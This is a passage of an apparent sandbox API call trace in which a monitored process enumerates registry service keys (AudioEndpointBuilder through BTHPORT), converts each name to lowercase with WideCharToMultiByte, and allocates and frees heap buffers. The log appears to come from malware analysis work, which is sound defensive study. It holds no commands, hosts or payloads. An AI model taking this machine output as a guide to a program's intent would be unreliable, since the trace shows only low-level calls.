BaseAddress=0x21f2eb0) returned 1 [0242.014] RegEnumKeyW (in: hKey=0x150, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0242.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0242.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1c40, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0242.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.014] RegEnumKeyW (in: hKey=0x150, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0242.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0242.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0242.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.066] RegEnumKeyW (in: hKey=0x150, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0242.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0242.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0242.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.066] RegEnumKeyW (in: hKey=0x150, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0242.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0242.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0242.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.066] RegEnumKeyW (in: hKey=0x150, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0242.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0242.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0242.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.066] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0242.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0242.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0242.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.067] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0242.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0242.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0242.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.067] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0242.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0242.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0242.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.067] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0242.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0242.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1c40, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0242.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.068] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0242.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0242.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0242.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.068] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0242.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0242.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0242.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.068] RegEnumKeyW (in: hKey=0x150, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0242.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0242.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0242.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.068] RegEnumKeyW (in: hKey=0x150, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0242.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0242.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0242.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.069] RegEnumKeyW (in: hKey=0x150, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0242.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0242.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0242.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.069] RegEnumKeyW (in: hKey=0x150, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0242.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0242.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0242.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.069] RegEnumKeyW (in: hKey=0x150, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0242.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0242.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0242.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.069] RegEnumKeyW (in: hKey=0x150, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0242.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0242.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0242.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.070] RegEnumKeyW (in: hKey=0x150, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0242.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0242.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0242.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.070] RegEnumKeyW (in: hKey=0x150, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0242.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0242.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0242.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.070] RegEnumKeyW (in: hKey=0x150, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0242.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0242.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0242.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.071] RegEnumKeyW (in: hKey=0x150, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0242.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0242.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 